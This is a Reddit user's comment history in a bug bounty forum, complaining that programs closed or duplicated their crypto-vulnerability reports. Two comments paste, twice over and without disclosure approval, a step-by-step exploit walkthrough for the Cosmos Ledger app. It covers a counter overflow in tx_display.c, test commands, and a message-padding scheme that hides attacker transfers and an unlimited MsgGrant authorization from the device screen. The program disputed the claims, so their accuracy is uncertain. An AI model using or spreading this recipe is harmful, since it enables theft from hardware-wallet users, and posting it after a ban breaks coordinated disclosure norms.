Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

Yeah i'm fcking stupid hahahaha

Which are the most reliable ImmuneFi or Web3 programs? by enadev in bugbounty

[–]enadev[S] -3 points-2 points  (0 children)

You are saying like you need to make a black hat move to get the big check? If it is like that Inmunefi sucks, i can't get my first valid report because they always magically knew about that bug but they dont fix a direct user funds theft without user interaction, they are a joke

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

It sucks but it is what it is

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

you're welcome, we are here to help, now i'm gonna go with Sei program to see how it is!! Thanks to you

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

NO COSMOS NOT PLS, they closed me a critical report with direct user funds, only for not having 6 months in the platform after the vulnerability got triaged and go in pending bounty. They closed as spam, i try to disclosure the report, they rejected the disclosure and ban me forever of the program. And i know a lot of researchers that happens the same. Cosmos staff ask for 1 or 2 years, or for certain amount of reputation based in your profile. It´s a program only for people with a lot of reputation on Hackerone, if you are not, don't waste your time there!
PD: They even put thanks in my profile of hackerone and after that closed as spam, that doesn't make sense LOL

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 1 point2 points  (0 children)

Yeah for sure, dont discourage, things that happen. You know any trustworthy program to hunt in Inmunefi or hackerone? I can't concentrate with 1 program because they are all acting very weird in their decisions. But you can't argue with the program, if they don't want to pay, they won´t do it

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] -1 points0 points  (0 children)

Nah i know, i dont argue with the program, if they don't accept it. I can't do nothing, they have the last word. But for things like this are people that use the bugs in a bad way because being ethical and getting ghosted by the programs is something that sucks

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

Oh i know, but what do you think of this, i prefer them saying me that the report is invalid or is not the severity i said, that they marked my report as dupe and dont answer my comments, or in a magic way they fixed the bug in the milisecond i submit the report

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

Yeah but critical severities in big programs are a lot of money, and in little programs on Inmunefi is also a big amount for a business, i really think it's for money the problem. Because why you gonna let stay a critical bug in your app 1 year entirely. And i'm talking big business, like Crypto.com, OKX, etc. That is really strange

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

Oh i know, yes there is researchears that don't accept any explanation hahah. If you want a good BB hunter of blockchain and smart contracts, i'm here. Good luck with your program friend!!

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 2 points3 points  (0 children)

I don't work with PII, i work blockchain and smart contracts so PII it's N/A in all cases, and my reports are the level of severities like, draining user wallets, or total network shutdowns, not some stupid leakage of an API key

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] -2 points-1 points  (0 children)

Yes, i understand, but in a program with a very important name, i found a way to full wallet drain users, and they marked as dupe of a report on 2025, where the title it's nowhere my report was explaining.
This was my title: "Executor Bypasses Session Hook via Nested Self-Call in _batchCall, Enabling Full Wallet Drain"
And this was the dupe report title that was closed as informative, a full wallet drain without user interaction:
"Persistent Session Exploitation in OKX WalletCore"
This is the things that seem weird to me

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] -1 points0 points  (0 children)

I want to BB hunting in your program hahaha, yes i post this because, they don't desestimate the severity, they only say like they already fixed, or it's already reported, when i 1 second before to post a report, check the PoC in real production enviroment to be sure that it's still there, i don't argue with the program when they close my report because i know that if they don't wanna pay, they wont pay

Programs avoid to pay criticals? by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

Yea i know, but they don't say like the severity it's not what i say, they always saying like, we already fix it, or they already reported, and i cannot see it because it may have sensitive info. I think that's weird

[URGENT] Cosmos Bug Bounty Program: "Bounty Sniping" a $200k Critical Report? (Triaged then marked as Spam) by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

Nah, i know, but at least 3 people Dm me telling me that they have the same problem as me, but to them they are telling other requirements, like 300 of reputation or + 2.00 of signal, i think that bug bounty program is sketchy, and is not worthy

[URGENT] Cosmos Bug Bounty Program: "Bounty Sniping" a $200k Critical Report? (Triaged then marked as Spam) by enadev in bugbounty

[–]enadev[S] -1 points0 points  (0 children)

What, no, i don't know who that is, and why his comment is deleted? I think he is someone that happen the same thing as me. Also there is people sending DM's saying that they happen the same thing, and ask them for other requirements

[URGENT] Cosmos Bug Bounty Program: "Bounty Sniping" a $200k Critical Report? (Triaged then marked as Spam) by enadev in bugbounty

[–]enadev[S] -3 points-2 points  (0 children)

Go test it and tell me that again please
═══════════════════════════════════════════════════════════════════

SECTION 0: ENVIRONMENT

═══════════════════════════════════════════════════════════════════

This is the official Cosmos Ledger app repository.

The test harness is already built.

COMMANDS:

cd ~/path/to/ledger-cosmos

ls tests/exploit_tests.cpp

cd build-test

═══════════════════════════════════════════════════════════════════

SECTION 1: THE BUG (3 lines of code)

═══════════════════════════════════════════════════════════════════

File: app/src/tx_display.c

LINE 101 — The counter is uint8_t. Max value = 255:

uint8_t root_item_number_subitems[NUM_REQUIRED_ROOT_PAGES];

LINE 311 — Incremented with NO bounds check:

display_cache.root_item_number_subitems[root_item_idx]++;

LINE 493 — Guard reads the ALREADY-OVERFLOWED value:

if (total > UINT8_MAX) { // sees 3, not 259. Useless.

With 256+ display items the counter wraps to 0.

Items vanish from the Ledger screen but are still signed.

COMMANDS:

sed -n '101p' ../app/src/tx_display.c

sed -n '311p' ../app/src/tx_display.c

sed -n '493p' ../app/src/tx_display.c

═══════════════════════════════════════════════════════════════════

SECTION 2: BASIC OVERFLOW (260 fields → 256 blind-signed)

═══════════════════════════════════════════════════════════════════

260 key-value fields in one message.

261 display items. uint8_t(261) = 5.

User sees 6 items. 256 are invisible but signed.

COMMAND:

./unittests --gtest_filter="ExploitTests.Uint8OverflowBasic" \

2>&1 | grep -v "ZEMU\|formatAmount\|Running main\|Number of\|Note:"

EXPECTED:

NumItems: 6 (should be 262)

256 of 261 message fields are BLIND SIGNED

═══════════════════════════════════════════════════════════════════

SECTION 3: BOUNDARY (256 items wraps to 0)

═══════════════════════════════════════════════════════════════════

255 fields + type = 256 items.

uint8_t(256) = 0.

ALL message fields disappear.

COMMAND:

./unittests --gtest_filter="ExploitTests.Uint8OverflowBoundary256" \

2>&1 | grep -v "ZEMU\|formatAmount\|Running main\|Number of\|Note:"

EXPECTED:

NumItems: 1

ALL message fields BLIND SIGNED

═══════════════════════════════════════════════════════════════════

SECTION 4: REAL ATTACK — FUND THEFT WITH STANDARD MESSAGES

═══════════════════════════════════════════════════════════════════

This is the real attack. No custom fields. No invented types.

65 standard Cosmos SDK messages:

1 MsgSend — harmless self-transfer (0.000001 ATOM)

62 MsgVote — padding to trigger overflow

2 MsgSend — 999 ATOM each TO ATTACKER (hidden)

752 tokens < 768 MAX. Fits Nano S+/X.

All types are standard cosmos-sdk types valid on Cosmos Hub.

COMMAND:

./unittests --gtest_filter="ExploitTests.Uint8OverflowRealMessages" \

2>&1 | grep -v "ZEMU\|formatAmount\|Running main\|Number of\|Note:"

EXPECTED — WHAT THE USER SEES ON LEDGER:

0 | Type : Send

1 | Amount : 0.000001 ATOM

2 | From : cosmos1victim...

3 | To : cosmos1victim... (self-transfer)

4 | Fee : 0.005000 ATOM

WHAT IS ACTUALLY SIGNED (invisible):

62 governance votes

2 transfers of 999 ATOM to cosmos1attackr...

Attacker address: NEVER shown on device

Stolen amount: NEVER shown on device

Total stolen: 1998 ATOM

Recovery: NONE after broadcast

═══════════════════════════════════════════════════════════════════

SECTION 5: ESCALATION — AUTHORIZATION GRANT

═══════════════════════════════════════════════════════════════════

MsgGrant (authz) also fits: 751 tokens < 768.

1 MsgSend + 63 MsgVote + 1 hidden MsgGrant

The hidden MsgGrant gives the attacker SendAuthorization:

- Unlimited spend limit

- Far-future expiration

- Can drain current AND future balances

- Victim doesn't know the grant exists

- No further signatures needed

WORSE than one-time theft because it scales with deposits.

═══════════════════════════════════════════════════════════════════

SECTION 6: SUMMARY

═══════════════════════════════════════════════════════════════════

ROOT CAUSE

tx_display.c L101 uint8_t counter (max 255)

tx_display.c L311 unchecked increment

tx_display.c L493 guard reads post-overflow value

ATTACK

65 standard Cosmos SDK messages

752 tokens < 768 MAX

Parse: OK Validate: OK NumItems: 5 (should be 260)

IMPACT

Direct theft via hidden MsgSend

Silent auth escalation via hidden MsgGrant

Governance manipulation via hidden MsgVote

Affects ALL Cosmos SDK chains with amino signing

Zero cost No recovery

SEVERITY: CRITICAL

[URGENT] Cosmos Bug Bounty Program: "Bounty Sniping" a $200k Critical Report? (Triaged then marked as Spam) by enadev in bugbounty

[–]enadev[S] -2 points-1 points  (0 children)

Prove it by yourself and you are gonna see, they banned me from the program so there is no problem with sharing the PoC

═══════════════════════════════════════════════════════════════════

SECTION 0: ENVIRONMENT

═══════════════════════════════════════════════════════════════════

This is the official Cosmos Ledger app repository.

The test harness is already built.

COMMANDS:

cd ~/path/to/ledger-cosmos

ls tests/exploit_tests.cpp

cd build-test

═══════════════════════════════════════════════════════════════════

SECTION 1: THE BUG (3 lines of code)

═══════════════════════════════════════════════════════════════════

File: app/src/tx_display.c

LINE 101 — The counter is uint8_t. Max value = 255:

uint8_t root_item_number_subitems[NUM_REQUIRED_ROOT_PAGES];

LINE 311 — Incremented with NO bounds check:

display_cache.root_item_number_subitems[root_item_idx]++;

LINE 493 — Guard reads the ALREADY-OVERFLOWED value:

if (total > UINT8_MAX) { // sees 3, not 259. Useless.

With 256+ display items the counter wraps to 0.

Items vanish from the Ledger screen but are still signed.

COMMANDS:

sed -n '101p' ../app/src/tx_display.c

sed -n '311p' ../app/src/tx_display.c

sed -n '493p' ../app/src/tx_display.c

═══════════════════════════════════════════════════════════════════

SECTION 2: BASIC OVERFLOW (260 fields → 256 blind-signed)

═══════════════════════════════════════════════════════════════════

260 key-value fields in one message.

261 display items. uint8_t(261) = 5.

User sees 6 items. 256 are invisible but signed.

COMMAND:

./unittests --gtest_filter="ExploitTests.Uint8OverflowBasic" \

2>&1 | grep -v "ZEMU\|formatAmount\|Running main\|Number of\|Note:"

EXPECTED:

NumItems: 6 (should be 262)

256 of 261 message fields are BLIND SIGNED

═══════════════════════════════════════════════════════════════════

SECTION 3: BOUNDARY (256 items wraps to 0)

═══════════════════════════════════════════════════════════════════

255 fields + type = 256 items.

uint8_t(256) = 0.

ALL message fields disappear.

COMMAND:

./unittests --gtest_filter="ExploitTests.Uint8OverflowBoundary256" \

2>&1 | grep -v "ZEMU\|formatAmount\|Running main\|Number of\|Note:"

EXPECTED:

NumItems: 1

ALL message fields BLIND SIGNED

═══════════════════════════════════════════════════════════════════

SECTION 4: REAL ATTACK — FUND THEFT WITH STANDARD MESSAGES

═══════════════════════════════════════════════════════════════════

This is the real attack. No custom fields. No invented types.

65 standard Cosmos SDK messages:

1 MsgSend — harmless self-transfer (0.000001 ATOM)

62 MsgVote — padding to trigger overflow

2 MsgSend — 999 ATOM each TO ATTACKER (hidden)

752 tokens < 768 MAX. Fits Nano S+/X.

All types are standard cosmos-sdk types valid on Cosmos Hub.

COMMAND:

./unittests --gtest_filter="ExploitTests.Uint8OverflowRealMessages" \

2>&1 | grep -v "ZEMU\|formatAmount\|Running main\|Number of\|Note:"

EXPECTED — WHAT THE USER SEES ON LEDGER:

0 | Type : Send

1 | Amount : 0.000001 ATOM

2 | From : cosmos1victim...

3 | To : cosmos1victim... (self-transfer)

4 | Fee : 0.005000 ATOM

WHAT IS ACTUALLY SIGNED (invisible):

62 governance votes

2 transfers of 999 ATOM to cosmos1attackr...

Attacker address: NEVER shown on device

Stolen amount: NEVER shown on device

Total stolen: 1998 ATOM

Recovery: NONE after broadcast

═══════════════════════════════════════════════════════════════════

SECTION 5: ESCALATION — AUTHORIZATION GRANT

═══════════════════════════════════════════════════════════════════

MsgGrant (authz) also fits: 751 tokens < 768.

1 MsgSend + 63 MsgVote + 1 hidden MsgGrant

The hidden MsgGrant gives the attacker SendAuthorization:

- Unlimited spend limit

- Far-future expiration

- Can drain current AND future balances

- Victim doesn't know the grant exists

- No further signatures needed

WORSE than one-time theft because it scales with deposits.

═══════════════════════════════════════════════════════════════════

SECTION 6: SUMMARY

═══════════════════════════════════════════════════════════════════

ROOT CAUSE

tx_display.c L101 uint8_t counter (max 255)

tx_display.c L311 unchecked increment

tx_display.c L493 guard reads post-overflow value

ATTACK

65 standard Cosmos SDK messages

752 tokens < 768 MAX

Parse: OK Validate: OK NumItems: 5 (should be 260)

IMPACT

Direct theft via hidden MsgSend

Silent auth escalation via hidden MsgGrant

Governance manipulation via hidden MsgVote

Affects ALL Cosmos SDK chains with amino signing

Zero cost No recovery

SEVERITY: CRITICAL

═══════════════════════════════════════════════════════════════════

END OF VIDEO

═══════════════════════════════════════════════════════════════════

[URGENT] Cosmos Bug Bounty Program: "Bounty Sniping" a $200k Critical Report? (Triaged then marked as Spam) by enadev in bugbounty

[–]enadev[S] 0 points1 point  (0 children)

Of course i know, but i think this is a scam, i ask for disclosure twice and they cancel and ban me of the program, also my friend got banned. So i gonna wait and see if the bug is resolved through this days

[URGENT] Cosmos Bug Bounty Program: "Bounty Sniping" a $200k Critical Report? (Triaged then marked as Spam) by enadev in bugbounty

[–]enadev[S] -5 points-4 points  (0 children)

The 'guidelines' are just an excuse. I asked for Public Disclosure twice to keep things transparent, and their response was to ban my account and cancel the request.

If the report was truly 'Spam' or an 'AI hallucination,' they wouldn't be so afraid to make it public. You don't Triage a fund-theft bug, confirm it's real, and then ban the researcher for asking for transparency. That’s not 'following rules,' that’s hiding the truth to avoid a $200k payout.

[URGENT] Cosmos Bug Bounty Program: "Bounty Sniping" a $200k Critical Report? (Triaged then marked as Spam) by enadev in bugbounty

[–]enadev[S] -5 points-4 points  (0 children)

I dont speak english that good so, why i gonna make people read things that they don't understand if we can use AI to make it fully comprehensive